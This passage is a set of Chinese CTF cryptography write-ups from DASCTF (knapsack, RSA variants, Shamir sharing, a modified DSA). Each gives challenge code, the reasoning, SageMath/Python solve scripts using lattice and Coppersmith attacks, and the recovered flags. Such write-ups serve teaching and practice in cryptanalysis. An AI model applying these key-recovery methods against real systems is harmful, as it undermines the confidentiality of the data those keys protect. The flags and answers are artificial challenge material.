[1, 2, 87, 99, 190, 380, 760, 1702, 3350, 6712, 13302, 26669, 53257, 106512, 213212, 426262, 852583, 1705083, 3410164, 6820581, 13640909, 27281818, 54563749, 109127508, 218254958, 436509851, 873019897, 1746039768, 3492079367, 6984158992, 13968317822, 27936635563, 55873271257, 111746542368, 223493084736, 446986169472, 893972338944, 1787944677888, 3575889355776, 7151778711750, 14303557423366, 28607114846668, 57214229693336, 114428459386792, 228856918773559, 457713837547023, 915427675094046, 1830855350188252, 3661710700376344, 7323421400752912, 14646842801505675, 29293685603011275, 58587371206022773, 117174742412045483, 234349484824090806, 468698969648181659, 937397939296363271, 1874795878592726601, 3749591757185453143, 7499183514370906547, 14998367028741812852, 29996734057483625898, 59993468114967251756, 119986936229934503501, 239973872459869007099, 479947744919738013939, 959895489839476027878, 1919790979678952055983, 3839581959357904111739, 7679163918715808223719, 15358327837431616447319, 30716655674863232894717, 61433311349726465789458, 122866622699452931578804, 245733245398905863157495, 491466490797811726314990, 982932981595623452629980, 1965865963191246905260222, 3931731926382493810520182, 7863463852764987621040623, 15726927705529975242080987, 31453855411059950484161974, 62907710822119900968323970, 125815421644239801936647918, 251630843288479603873295836, 503261686576959207746591710, 1006523373153918415493183613, 2013046746307836830986367190, 4026093492615673661972734253, 8052186985231347323945468456, 16104373970462694647890936894, 32208747940925389295781874025, 64417495881850778591563748059, 128834991763701557183127495888, 257669983527403114366254991760, 515339967054806228732509983520, 1030679934109612457465019967093, 2061359868219224914930039934133, 4122719736438449829860079868450, 8245439472876899659720159736935, 16490878945753799319440319473651, 32981757891507598638880638947330, 65963515783015197277761277894728, 131927031566030394555522555789579, 263854063132060789111045111579109, 527708126264121578222090223158048, 1055416252528243156444180446316096, 2110832505056486312888360892632193, 4221665010112972625776721785264450, 8443330020225945251553443570528835, 16886660040451890503106887141057670, 33773320080903781006213774282115477, 67546640161807562012427548564230882, 135093280323615124024855097128461699, 270186560647230248049710194256923398, 540373121294460496099420388513846796, 1080746242588920992198840777027693592, 2161492485177841984397681554055387246, 4322984970355683968795363108110774528, 8645969940711367937590726216221549105, 17291939881422735875181452432443098117, 34583879762845471750362904864886196180, 69167759525690943500725809729772392360, 138335519051381887001451619459544784838, 276671038102763774002903238919089569616, 553342076205527548005806477838179139174, 1106684152411055096011612955676358278348, 2213368304822110192023225911352716556750, 4426736609644220384046451822705433113446, 8853473219288440768092903645410866226907, 17706946438576881536185807290821732453830, 35413892877153763072371614581643464907890, 70827785754307526144743229163286929815519, 141655571508615052289486458326573859631099, 283311143017230104578972916653147719262229, 566622286034460209157945833306295438524626, 1133244572068920418315891666612590877049074, 2266489144137840836631783333225181754098066, 4532978288275681673263566666450363508196132, 9065956576551363346527133332900727016392264, 18131913153102726693054266665801454032784553, 36263826306205453386108533331602908065569081, 72527652612410906772217066663205816131138180, 145055305224821813544434133326411632262276342, 290110610449643627088868266652823264524552684, 580221220899287254177736533305646529049105368, 1160442441798574508355473066611293058098210736, 2320884883597149016710946133222586116196421472, 4641769767194298033421892266445172232392842944, 9283539534388596066843784532890344464785686063, 18567079068777192133687569065780688929571371951, 37134158137554384267375138131561377859142743902, 74268316275108768534750276263122755718285487804, 148536632550217537069500552526245511436570975608, 297073265100435074139001105052491022873141951360, 594146530200870148278002210104982045746283902576, 1188293060401740296556004420209964091492567805360, 2376586120803480593112008840419928182985135610512, 4753172241606961186224017680839856365970271221024, 9506344483213922372448035361679712731940542442048, 19012688966427844744896070723359425463881084884096, 38025377932855689489792141446718850927762169768220, 76050755865711378979584282893437701855524339536412, 152101511731422757959168565786875403711048679072824, 304203023462845515918337131573750807422097358145648, 608406046925691031836674263147501614844194716291296, 1216812093851382063673348526295003229688389432582797, 2433624187702764127346697052590006459376778865165617, 4867248375405528254693394105180012918753557730331006, 9734496750811056509386788210360025837507115460662129, 19468993501622113018773576420720051675014230921324265, 38937987003244226037547152841440103350028461842648406, 77875974006488452075094305682880206700056923685296910, 155751948012976904150188611365760413400113847370593722, 311503896025953808300377222731520826800227694741187444, 623007792051907616600754445463041653600455389482374933, 1246015584103815233201508890926083307200910778964749821, 2492031168207630466403017781852166614401821557929499642, 4984062336415260932806035563704333228803643115858999284, 9968124672830521865612071127408666457607286231717998666, 19936249345661043731224142254817332915214572463435997301, 39872498691322087462448284509634665830429144926871994535, 79744997382644174924896569019269331660858289853743989190, 159489994765288349849793138038538663321716579707487978260, 318979989530576699699586276077077326643433159414975956596, 637959979061153399399172552154154653286866318829951913129, 1275919958122306798798345104308309306573732637659903826311, 2551839916244613597596690208616618613147465275319807652591, 5103679832489227195193380417233237226294930550639615305147, 10207359664978454390386760834466474452589861101279230610294, 20414719329956908780773521668932948905179722202558461220588, 40829438659913817561547043337865897810359444405116922441176, 81658877319827635123094086675731795620718888810233844882508, 163317754639655270246188173351463591241437777620467689764860, 326635509279310540492376346702927182482875555240935379529854, 653271018558621080984752693405854364965751110481870759059704, 1306542037117242161969505386811708729931502220963741518119363, 2613084074234484323939010773623417459863004441927483036238705, 5226168148468968647878021547246834919726008883854966072477346, 10452336296937937295756043094493669839452017767709932144954692, 20904672593875874591512086188987339678904035535419864289909384, 41809345187751749183024172377974679357808071070839728579818768, 83618690375503498366048344755949358715616142141679457159637536, 167237380751006996732096689511898717431232284283358914319275072, 334474761502013993464193379023797434862464568566717828638550144, 668949523004027986928386758047594869724929137133435657277100288, 1337899046008055973856773516095189739449858274266871314554200576, 2675798092016111947713547032190379478899716548533742629108401375, 5351596184032223895427094064380758957799433097067485258216802527, 10703192368064447790854188128761517915598866194134970516433605054, 21406384736128895581708376257523035831197732388269941032867210108, 42812769472257791163416752515046071662395464776539882065734420216, 85625538944515582326833505030092143324790929553079764131468840607, 171251077889031164653667010060184286649581859106159528262937681073, 342502155778062329307334020120368573299163718212319056525875362112, 685004311556124658614668040240737146598327436424638113051750724224, 1370008623112249317229336080481474293196654872849276226103501448448, 2740017246224498634458672160962948586393309745698552452207002896896, 5480034492448997268917344321925897172786619491397104904414005793914, 10960068984897994537834688643851794345573238982794209808828011587706, 21920137969795989075669377287703588691146477965588419617656023175412, 43840275939591978151338754575407177382292955931176839235312046350824, 87680551879183956302677509150814354764585911862353678470624092701691, 175361103758367912605355018301628709529171823724707356941248185403485, 350722207516735825210710036603257419058343647449414713882496370806824, 701444415033471650421420073206514838116687294898829427764992741613648, 1402888830066943300842840146413029676233374589797658855529985483227499, 2805777660133886601685680292826059352466749179595317711059970966454839, 5611555320267773203371360585652118704933498359190635422119941932909634, 11223110640535546406742721171304237409866996718381270844239883865819325, 22446221281071092813485442342608474819733993436762541688479767731638735, 44892442562142185626970884685216949639467986873525083376959535463277328, 89784885124284371253941769370433899278935973747050166753919070926554729, 179569770248568742507883538740867798557871947494100333507838141853109648, 359139540497137485015767077481735597115743894988200667015676283706219166, 718279080994274970031534154963471194231487789976401334031352567412438331, 1436558161988549940063068309926942388462975579952802668062705134824876530, 2873116323977099880126136619853884776925951159905605336125410269649753060, 5746232647954199760252273239707769553851902319811210672250820539299506381, 11492465295908399520504546479415539107703804639622421344501641078599012695, 22984930591816799041009092958831078215407609279244842689003282157198025444, 45969861183633598082018185917662156430815218558489685378006564314396050678, 91939722367267196164036371835324312861630437116979370756013128628792101318, 183879444734534392328072743670648625723260874233958741512026257257584202636, 367758889469068784656145487341297251446521748467917483024052514515168405272, 735517778938137569312290974682594502893043496935834966048105029030336810544, 1471035557876275138624581949365189005786086993871669932096210058060673621088, 2942071115752550277249163898730378011572173987743339864192420116121347242216, 5884142231505100554498327797460756023144347975486679728384840232242694484649, 11768284463010201108996655594921512046288695950973359456769680464485388969041, 23536568926020402217993311189843024092577391901946718913539360928970777938082, 47073137852040804435986622379686048185154783803893437827078721857941555876305, 94146275704081608871973244759372096370309567607786875654157443715883111752579, 188292551408163217743946489518744192740619135215573751308314887431766223505070, 376585102816326435487892979037488385481238270431147502616629774863532447010118, 753170205632652870975785958074976770962476540862295005233259549727064894020344, 1506340411265305741951571916149953541924953081724590010466519099454129788040580, 3012680822530611483903143832299907083849906163449180020933038198908259576081160, 6025361645061222967806287664599814167699812326898360041866076397816519152162452, 12050723290122445935612575329199628335399624653796720083732152795633038304324883, 24101446580244891871225150658399256670799249307593440167464305591266076608649853, 48202893160489783742450301316798513341598498615186880334928611182532153217299508, 96405786320979567484900602633597026683196997230373760669857222365064306434599262, 192811572641959134969801205267194053366393994460747521339714444730128612869198530, 385623145283918269939602410534388106732787988921495042679428889460257225738396863]
看这个output形状就知道是个经典的超递增背包,所以用最终sum倒着逐个减回来就行。
分析
首先审计代码,可以看见定义了两个函数creat_key以及enc,分析两个函数的作用:
def creat_key(n):
sum=2
key=[1]
for i in range(n):
r=random.randint(0,1)
x=sum+random.randint(0,n)*r
key.append(x)
sum+=x
return key
这是一个生成长度为n的密钥的函数,先随机取第一个元素放到key中,同时用sum记录密钥中元素之和,这里的r会随机取0、1,使后面每次生成的元素可能是前面所有数之和,也可能会多一点,将生成的所有元素作为密钥中的元素再将生成的密钥加到key中,并用sum记录所有密钥元素之和,如此循环往复,可以生成一段超递增序列作为密钥。
def enc(m,k):
cipher_list = []
for i in range(len(m)):
if m[i] == 1:
cipher_list.append(m[i] * k[i])
cipher = sum(cipher_list)
return cipher
m = [int(bit) for byte in flag if byte != 0 for bit in format(byte, '08b')]
这段代码会遍历flag 中的每一个字节,并将每个字节转换为8位的二进制字符串,然后将这个字符串中的每一位(作为一个字符)转换为整数,并将这些整数收集到一个列表中,也就是将flag的整形数字变为2进制再将每位存在一个列表中,且要注意,它的首位为0。
思路
这道题主要考察的是背包密码加密,而这里的密钥是一个超递增序列可以帮助我们去很方便的解决这个问题
如果a的组合为一个超递增序列,则第n项an应该大于前面所有的数,因为b为0或1,a不是有就是没有,我们就将W与an进行比较分两种情况:
1、W大于或等于an
如果an没有,前面的所有项之和小于an不可能等于W,所以an一定有
2、W小于an
W小于an则必然是没有an的
于是通过比较W与an的大小判断出bn是0还是1,然后去掉an后对an-1同样操作,直到变成0为止
此外,因为an前面所有的数之和小于an,所以W的最大值不会大于或等于an的两倍,
我们就根据这个思路往不断前推,直到背包里的东西全拿完。
我们就可以根据这个思路来解此题
exp1:
from Crypto.Util.number import *
#对私钥重排
def relist(pub):
a = pub[:]
c = []
while a: # 当a不为空时
m = min(a)
c.append(m)
a.remove(m)
return c
#解密
def resolve(pub,a,w):
b=[]
for j in range(1,len(a)):
b.append(0) #用0填充方便后面替换
for i in range(1,len(a)):
an=a[len(a)-i-1]
id=pub.index(an)
if w<an:
None
else:
w=w-an
b[id:id+1]=[1] #将0替换成1
if w==0: #说明解密完成
return b
def decrypto(pub,w):
a=relist(pub)
m=resolve(pub,a,w)
return m
c=
key=
m=decrypto(key,c)
print(m)
ml=''
for i in range(len(m)):
ml+=str(m[i])
print(long_to_bytes(int(ml,2)))
题目:found
解题步骤
题目描述
task.py:
from Crypto.Util.number import *
from random import *
from secret import flag
from sympy import *
bits = 1024
l = 138833858362699289505402947409766595473722379891580589518174731439613184249727659678966809301611194545239974736175752769503863392697421092435438747741790652435801956708356186578269272819715592752821497122516109657809748674185639254430403157877064556216401002688452227124543508128414591884297632663910714681207
assert isPrime(l)
def generate_prime(bits):
return randprime(2**(bits-1), 2**bits)
def fun(data,y,n):
return sum([data[i] * pow(y,i,n) for i in range(len(data))]) % n
def gen(x, y, z, w, n):
data = [randint(n // 4, n) for _ in range(10)]
leak1 = pow(x + pow(y, z, n), w, n)
leak2 = fun(data, y, n)
return data, leak1, leak2
def encrypt(l,m,n):
mm = bin(m)[2:].zfill((m.bit_length() // 8 + 1) * 8)
length = len(mm)
c = []
s = []
for i in range(length):
a = randint(1, n)
s.append(pow(a, length, n))
for j in range(length):
c.append(pow(l,int(mm[j]),n) * s[j] % n)
return c
p, q = [generate_prime(bits) for _ in range(2)]
r = generate_prime(bits // 4)
n = p ** 2 * q * r
e1 = generate_prime(128)
e2 = generate_prime(128)
phi1 = p * (p - 1) * (q - 1) * (r - 1)
phi2 = (p - 1) * (p - 2) * (q - 2) * (r - 2)
d1 = inverse(e1, phi1)
d2 = inverse(e2, phi2)
t = getRandomRange(n // 4, n)
data, leak1, leak2 = gen(r, t, e1, d1, n)
m = bytes_to_long(flag)
c = encrypt(l, m, n)
with open('output.txt','w') as f:
f.write(f'n = {n}\n')
f.write(f'e1 = {e1}\n')
f.write(f'ed = {e2 * d2}\n')
f.write(f'data = {data}\n')
f.write(f'leak1 = {leak1}\n')
f.write(f'leak2 = {leak2}\n')
f.write(f'c = {c}')
题目分析
通过 和 我们知道:
我们知道有:
我们将式子变一下
对两个式子做一个结式,把 t 给消掉,但是由于 太大,故我们需要优化一下,考虑到 ,即 ,我们知道在模 下满足的式子,在模 下一定成立,所以在求 的时候再模一下多项式 ,这样得到的 的度就低于10,之后让 和 做结式即可得到
(经过测试当调到 epsilon = 0.03 时我们能求出 来)
from Crypto.Util.number import *
from random import *
with open('output.txt') as f:
exec(f.read())
R.<t,r>=PolynomialRing(Zmod(n))
# construct g
g = sum([int(data[i]) * t ** i for i in range(len(data))]) - leak2
print("start")
print('g', g)
asist = t
t_e = 1
cnt = 1
for i in bin(e1)[2:][::-1]:
cnt += 1
print(cnt)
if i == '1':
t_e = (t_e * asist) % g
asist = (asist * asist) % g
# construct f
f = r + t_e - pow(leak1,e1,n)
# calc resultant using sylvester_matrix
h = f.sylvester_matrix(g, t).det().univariate_polynomial().monic()
res = h.small_roots(X = 2 ** 256,epsilon = 0.03)
if res:
print(res[0])
exp2:
from Crypto.Util.number import *
from z3 import *
with open('output.txt') as f:
exec(f.read())
r = 77477547161688496725906506626131775883966333151442864639104100690032824193233
k = (ed - 1) // n + 1
phi2 = (ed - 1) // k
# s = Solver()
# p, q= Ints('p q')
#
# s.add((p - 1) * (p - 2) * (q - 2) * (r - 2) == phi2)
# s.add(p ** 2 * q * r == n)
# if s.check() == sat:
# print(s.model())
'''
[p = 168207689659417173628607066039457820275276732311636007089001107530860513351122555769649031031435042743185528528881857626080873859026128498997148721030271703030768717788591275936600239642357340350598106488044312274746860587888105379606096757814370419770414183228756583472285941821276338279728115488001890742673,
# q = 97707929018805957546753225343143490125285071269910025402668681477127527381672117514147518538470060994557862749309042238326448721045026099601424607832524228224510318920129326794773863846005792678034679056020514793964664097594210383339219122809427128901179158534676129014329576699155669500220463663254504200451]
'''
p = 168207689659417173628607066039457820275276732311636007089001107530860513351122555769649031031435042743185528528881857626080873859026128498997148721030271703030768717788591275936600239642357340350598106488044312274746860587888105379606096757814370419770414183228756583472285941821276338279728115488001890742673
q = 97707929018805957546753225343143490125285071269910025402668681477127527381672117514147518538470060994557862749309042238326448721045026099601424607832524228224510318920129326794773863846005792678034679056020514793964664097594210383339219122809427128901179158534676129014329576699155669500220463663254504200451
flag = ''
for i in c:
if pow(i,(p - 1) // 2,p) == 1:
flag += '0'
else:
flag += '1'
print(long_to_bytes(int(flag,2)))
# DASCTF{c764ba09-b2aa-12ed-ab17-9408ad39ce84}
lFinally
idea
这题其实没有很明确的目的指向,我们最后的落点就是encrypt这个函数,在此函数中我们知道的只有 ,不过又能发现一个很特殊的地方就是我们并不知道 到底是如何生成的,它被直白的给出来了,所以从这方面来说我们就能知道 很关键。那么这个时候其实就得去考虑到前面函数的作用以及指向到底什么
part1
我们知道了两个式子:l
两个式子,两个未知数,毫无疑问这部分就是要求
part2
给出 ,以及知道 ,这种我们其实就已经接触过,以前接触到的是(已知 和 n),此处无非就是 改了一下,改成了 ,思考的解题方式都是一样的。
故这个部分就是要求出 来
summary
所以可以很清楚的知道这两部分的作用和指向就是帮助我们得到p,q
我们知道了 ,然后我们又知道 不寻常,那么它们之间必定有联系,稍微试一试便能知道 是 和 的二次非剩余,得到了关系,之后再加上自己的推导,flag差不多就出了。
题目:EZshamir
解题步骤
分析源码,观察到多项式的系数是用sha256生成,相对于模数p较小
分析同余式可以得到
所以根据以上等式,可以构造如下格子求解出多项式的系数e
题目背景是shamir秘密分享,可以构造类似于LWE的格即可将结果求出来,使用flatter加速格归约
exp:
import os
from random import getrandbits
from hashlib import sha256, md5
from Crypto.Util.number import *
from Crypto.Cipher import AES
from subprocess import check_output
from re import findall
def flatter(M):
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(rb"-?\d+", ret)))
with open("data.txt", "r") as f:
data = f.read().strip().split("\n")
p = int(data[0])
tmp = eval(data[1])
ct = long_to_bytes(int(data[2]))
pbits = 400
noise_bit = 32
n = 100
m = 75
X = [i[0] for i in tmp]
Y = [i[1] for i in tmp]
M = matrix(ZZ, n+1+m, n+1+m)
K1 = 2 ^ (256 - noise_bit)
K2 = 2 ^ 256
for i in range(m):
for j in range(n):
M[j, i] = pow(X[i], j, p)
M[n, i] = Y[i]
M[n+1+i, i] = p
M = K1 * M
for i in range(n):
M[i, i+m] = 1
M[n, -1] = K2
ML = flatter(M)
for i in ML:
if abs(i[-1]) == K2:
sol = [abs(j) for j in i[-n:-1]]
key = "".join([str(i) for i in sol])
key = md5(key.encode()).digest()
aes = AES.new(key = key, mode = AES.MODE_ECB)
print(aes.decrypt(ct))
或者
题目:DAS_DSA
解题步骤
题目中的DSA签名算法是被修改过的,sign函数如下
def sign(self, message):
h = int(hashlib.sha1(message).hexdigest(), 16)
k = b2l(xor(message,self.KEY))
r = pow(self.g, k, self.p) % self.q
s = (inverse(k, self.q) * (h + self.x * r)) % self.q
if r != 0 and s != 0:
return (r, s)
实际上作用为
&&&&&r=g^k\% p \ \\ &&&&&s=k^{-1}(hash(M)+xr)\%p
与常规DSA签名算法不同的是,这里的k生成并不是随机生成的,而是 得到的
题目中给了31组数据,由此我们可以获得一共31组是唯一的
目前思路就是,通过这31组数据,来得到x,通过不同数据的关系,来进行破解
参与sign中的M是原始字符串m由pad()函数加密后的,我们可以通过找到两个相同长度的字符串m,那么他们填充后的数据也是一样,这些字符串都是由"DAS"字符集组成,那么字符串中很有可能会出现在相同位置具有相同的字符
例如:()
他们最后的填充数据也是一样的,填充后的进行加密
由异或的性质,实际上就是对位的二进制加法
我们就可以得到下列关系式,其中x1,x2的大小就由两段不一样的字符串长来确定的,举例中不超过80bit
将
s_1=k_1^{-1}(h_1+xr_1) &&& (2)\\s_2=k_2^{-1}(h_2+xr_2) &&&(3)
联立我们就可以消去,得到式子(4),
此时式子(4)的未知数只有 ,其中为小数,
如果找到了另一组两个长度相同,其中相同位置具有相同的字符串的两个字符串
我们就可以通过上述操作得到一个类似的式子(5)
其中的未知数为,其中为小数,
联立我们可以消去x,得到一个式子中只有
就转化为小根问题,可以通过多元coppersmith攻击来解决。
在寻找相同长度的字符串中,找到相同位置的连续子串
代码如下:
def longest_common_substring_at_same_position(s1, s2):
if len(s1) != len(s2):
raise ValueError("Strings must be of the same length")
max_length = 0
current_length = 0
start_index = 0
for i in range(len(s1)):
if s1[i] == s2[i]:
current_length += 1
if current_length > max_length:
max_length = current_length
start_index = i - max_length + 1
else:
current_length = 0
return s1[start_index:start_index + max_length],start_index
在题目给的数据中,我们可以找到两组字符串为(右侧的数字字符串在GIFT,txt中的位置)
ADDSDD
AASADASADDSDDASADSAS 5
ADSSSSAADDSDDDADAADD 8
SAADDA
DADSDAASAADDAAASASSSA 11
SASADSSSAADDASADDDADD 22
然后根据上面的思维,以结式法进行消元构造
def resultant(f1, f2, var):
return Matrix.determinant(f1.sylvester_matrix(f2, var))
index=[5,8,11,22]
P.<k0,k1,k2,k3,x1,x2,x3,x4,x,f1,f2,f3,f4> = PolynomialRing(Zmod(q))
k1=2^(25*8)*x1+k0+2^(12*8)*x2
k3=2^(25*8)*x3+k2+2^(11*8)*x4
# P.<x>= PolynomialRing(Zmod(q))
h=h0,h1,h2,h3=sha256(key[index[0]]),sha256(key[index[1]]),sha256(key[index[2]]),sha256(key[index[3]])
f=[f0,f1,f2,f3]
k=[k0,k1,k2,k3]
for i in range(4):
f[i]=rs[index[i]][1]*k[i]-h[i]-rs[index[i]][0]*x
ff1 = resultant(f[0], f[1], k0)
ff2 = resultant(f[2], f[3], k2)
ff = resultant(ff1, ff2, x)
PP.<x1,x2,x3,x4>= PolynomialRing(Zmod(q))
ff=eval(str(ff))
x1,x2,x3,x4= small_roots(ff, (2**56, 2**56,2**56,2**64), m=4, d=2)[0]
ff式子就是我们最终得到的只有的方程式
而四段不一样的字符串长度分别为
因为在设置small_roots的参数是,上界选为
得到私钥x后,带回原方程,求得,再和填充后的字符串异或回来就可以
k0=int(f0.subs(x=xx2).univariate_polynomial().roots()[0][0])
KEY=l2b(k0^^b2l(pad(key[index[0]].encode(),32)))
print(b"DASCTF{"+KEY+b"}")
完整代码如下:
import hashlib
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from sage.matrix.matrix2 import Matrix
import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
key,rs=[],[]
index=[5,8,11,22]
sha256=lambda x:int(hashlib.sha256(pad(x.encode(),32)).hexdigest(), 16)
b2l=lambda x:bytes_to_long(x)
l2b=lambda x:long_to_bytes(x)
def resultant(f1, f2, var):
return Matrix.determinant(f1.sylvester_matrix(f2, var))
with open("GIFT.txt","r") as f:
for i in f.readlines(): key.append(i.strip())
# print(key)
with open("enc.txt","r") as f:
data=f.readlines()
for i in data[:-1]: rs.append(eval(i.strip()))
p,q,g,y=tmp=eval(data[-1])
P.<k0,k1,k2,k3,x1,x2,x3,x4,x,f1,f2,f3,f4> = PolynomialRing(Zmod(q))
k1=2^(25*8)*x1+k0+2^(12*8)*x2
k3=2^(25*8)*x3+k2+2^(11*8)*x4
# P.<x>= PolynomialRing(Zmod(q))
h=h0,h1,h2,h3=sha256(key[index[0]]),sha256(key[index[1]]),sha256(key[index[2]]),sha256(key[index[3]])
f=[f0,f1,f2,f3]
k=[k0,k1,k2,k3]
for i in range(4):
f[i]=rs[index[i]][1]*k[i]-h[i]-rs[index[i]][0]*x
ff1 = resultant(f[0], f[1], k0)
ff2 = resultant(f[2], f[3], k2)
ff = resultant(ff1, ff2, x)
PP.<x1,x2,x3,x4>= PolynomialRing(Zmod(q))
ff=eval(str(ff))
x1,x2,x3,x4= small_roots(ff, (2**56, 2**56,2**56,2**64), m=4, d=2)[0]
xx = Integer(ff1.subs(x1=x1,x2=x2).univariate_polynomial().roots()[0][0])
xx2 = Integer(ff2.subs(x3=x3,x4=x4).univariate_polynomial().roots()[0][0])
assert xx2 == xx
k0=int(f0.subs(x=xx2).univariate_polynomial().roots()[0][0])
KEY=l2b(k0^^b2l(pad(key[index[0]].encode(),32)))
print(b"DASCTF{"+KEY+b"}")
# 71413025726041075021691379440197097387165417897223060463261836215249838866459
# b'DASCTF{AADDAASAAASSSASSDSSASSDDDSDAAASS}'
1z_RSA
题目描述:
我们来到了提瓦特与现实世界的边界,我们怎么卡进去呢?
We've arrived at the boundary between Teyvat and the real world. How do we glitch inside?
题目:
from Crypto.Util.number import *
from sympy import *
import os
from secrets import flag
nbit =130
e = 3
l = getPrime(505)
m = bytes_to_long(flag + os.urandom(64))
assert len(flag) == 29
while True:
p, q = getPrime(nbit), getPrime(nbit)
PQ = int(str(p<<120)+str(q))
QP = int(str(q<<120)+str(p))
if isPrime(PQ) and isPrime(QP):
break
n = PQ * QP
PP = nextprime((PQ >> 190) * (QP & (2 ** 190 - 1)))
QQ = nextprime((QP >> 190) * (PQ & (2 ** 190 - 1)))
N = PP * QQ
M = pow(m,1,l)
c = pow(m,e,N)
print('n =', n)
print('M =', M)
print('l =', l)
print('c =', c)
'''
n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
'''
要解决题目就要获得N的分解,而N的因子PP、QQ其实是由PQ、QP唯一决定的,所以其实就是要获得n=PQ*QP的分解。
而PQ、QP这两个素数又是由两个素数p、q按如下方式生成的:
PQ = int(str(p<<120)+str(q))
QP = int(str(q<<120)+str(p))
自己测试一下,可以发现130bit的素数按十进制大概有39或40位数字,也就是说PQ和QP可以写成:
所以乘起来就有:
可以发现p、q完全算小量,所以乘起来二元copper就可以获得分解,之后常规解密就行了,由于不互素所以还要AMM或者有限域开根,最后crt一下。
exp:
from Crypto.Util.number import *
from sympy import nextprime
import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficients_monomials()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
nbit = 130
e = 3
n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
PR.<p,q> = PolynomialRing(Zmod(n))
f = ((2*p+1)*2^120*10^39+(2*q+1))*((2*q+1)*2^120*10^40+(2*p+1))
bounds = (2^(nbit-1),2^(nbit-1))
res = small_roots(f,bounds,m=2,d=3)
p,q = 2*int(res[0][1])+1,2*int(res[0][0])+1
print(p*q)
print(n % 10^79)
PQ = int(str(p<<120)+str(q))
QP = int(str(q<<120)+str(p))
PP = nextprime((PQ >> 190) * (QP & (2 ** 190 - 1)))
QQQ = nextprime((QP >> 190) * (PQ & (2 ** 190 - 1)))
mp = pow(c,inverse(3,PP-1),PP)
PR.<mq> = PolynomialRing(Zmod(QQQ))
f = mq^3 - c
res = f.roots()
for i in res:
m = crt([int(i[0]),mp],[QQQ,PP])
flag = long_to_bytes(int(m))
if(b"DASCTF{" in flag):
print(flag)
#DASCTF{Ar3_Y0u_Su93_Abt139??}
或者
# sagemath
from Crypto.Util.number import *
N = 763933528218428362740063144747893290714655295576768532896029874141179804730143020017430379534079773751531037961074867132893544981605022026151484151321515584652838724809597675412676810669583078026377048734720511960708515190930979
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
PR.<k> = PolynomialRing(Zmod(N))
f = (M + k * l) ^ 3 - c
f = f.monic()
kk = f.small_roots(X = 2 ^ 239, epsilon = 0.02)[0]
m = M + kk * l
print(long_to_bytes(int(m)))
# DASCTF{Ar3_Y0u_Su93_Abt139??}
但是这都做完了,发现有一个信息其实根本没用上,就是:
M = pow(m,1,l)
相当于多给了个m模l的值,而由于加密指数仅仅为3,所以类似于明文低位泄露,可以写出:
所以得到N之后,预期应该也可以不AMM,直接copper可能就行了,或者就是用可以直接求逆的PP去和l做crt也行。总之信息给的很多。
题目附件下载地址:
链接:
https://pan.baidu.com/s/1fOKY3-VKGKaJGKX6ZWSGBA 提取码: 5gjp转载原文链接地址:
https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/yleeg03c0ucdoac6?singleDoc#EJFRF